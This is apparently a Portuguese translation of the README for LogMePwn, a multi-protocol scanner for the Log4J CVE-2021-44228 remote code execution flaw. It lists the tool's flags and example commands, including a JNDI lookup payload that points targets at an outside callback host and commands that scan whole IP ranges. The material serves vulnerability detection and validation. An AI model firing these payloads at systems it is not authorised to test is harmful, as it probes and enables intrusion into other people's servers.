
Um kit de ferramentas de verificação e análise totalmente automatizado, confiável e super-rápido para a vulnerabilidade Log4J RCE CVE-2021-44228.
LogMePwn é um kit de ferramentas totalmente automatizado, multiprotocolo, confiável e extremamente rápido para varredura e validação da vulnerabilidade Log4J RCE CVE-2021-44228.

O LogMePwn funciona utilizando Canary Tokens, que por sua vez fornecem notificações por e-mail e webhook para o seu canal de comunicação preferido. Se você tiver um servidor de callback personalizado, também pode usá-lo!
Para usar a ferramenta, você pode baixar um binário da seção Releases de acordo com sua distribuição e usá-lo. Se quiser compilar a ferramenta, você precisará do Go >= 1.13. Basta clonar o repositório e executar go build.
Aqui está o uso básico da ferramenta:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Exemplos:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NOVO: Este recurso foi introduzido na v2.0.
Com a versão mais recente, foi adicionado suporte a múltiplos protocolos. Até agora temos 4 protocolos diferentes:
Se você não especificar um protocolo através do argumento -protocol, a ferramenta executará todos os plugins para cada protocolo suportado na porta padrão mencionada.
Veja como controlar portas para cada protocolo.
Exemplo:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # varre todos os protocolos nas portas padrão
Os alvos podem ser especificados de duas formas: através da interface de linha de comando como argumentos, ou através de um arquivo.
NOVO: Agora você também pode passar faixas CIDR para varredura! Este recurso foi introduzido na v1.1.
Exemplo:
./lmp <outros argumentos aqui> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <outros argumentos aqui> -file internet-ranges.lst
./lmp <outros argumentos aqui> 192.168.0.0/26 1.2.3.4/30
Cada protocolo tem uma lista padrão de portas associadas que pode ser ajustada usando as seguintes flags:
-http-ports para HTTP.-imap-ports para IMAP.-ssh-ports para SSH.-ftp-ports para FTP.Se o usuário mencionar um par host+porta no formato host:porta, a lista padrão de portas é descartada e todas as verificações são feitas para essa porta específica. Se -protocol não for mencionado, os plugins de todos os protocolos serão testados na mesma porta.
Este recurso foi introduzido na v1.1.
Você pode especificar um payload diretamente através do argumento -payload. No entanto, se você quiser o nome DNS do host que está sendo testado no payload, pode especificar uma diretiva de formatação $DNSNAME$ que será substituída pelo alvo contra o qual o payload está sendo testado.
Exemplo: se você fornecer um comando como este:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Então, ao enviar uma requisição HTTP para a URL, o payload ficaria assim:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Este recurso ajuda a avaliar quais hosts são vulneráveis ao fazer fuzzing de caixa-preta.
Você também pode especificar um payload contendo múltiplas variações do payload usando o mesmo argumento. (Veja payloads-sample.txt). Exemplo:
./lmp -payload payloads-sample.txt vulnerable.site.com
NOTA: Este recurso não funciona com Canary Tokens. O Canarytokens não suporta formatos DNS personalizados.
NOTA: Se você estiver fornecendo um payload personalizado usando
-payload, especificar um canal de notificação NÃO é necessário. O próprio payload deve conter seu servidor de callback.
Os canais de notificação podem ser qualquer um dos seguintes:
-email)-webhook)-custom-server)A ferramenta utiliza Canary Tokens; você pode criar um aqui, ou deixar a ferramenta criar um token para você. Se a ferramenta criar um token, ele será gravado em um arquivo chamado canarytoken-logmepwn.json, que incluirá o próprio token e o auth (ambos necessários para visualizar gatilhos pela interface web).
Se você já possui um token, pode usar o argumento -token para usar o token diretamente e não criar um novo.
NOTA: Se você fornecer um e-mail ou um webhook, a ferramenta criará um canary token personalizado. Se você usar um servidor de callback personalizado, os tokens não entram em jogo.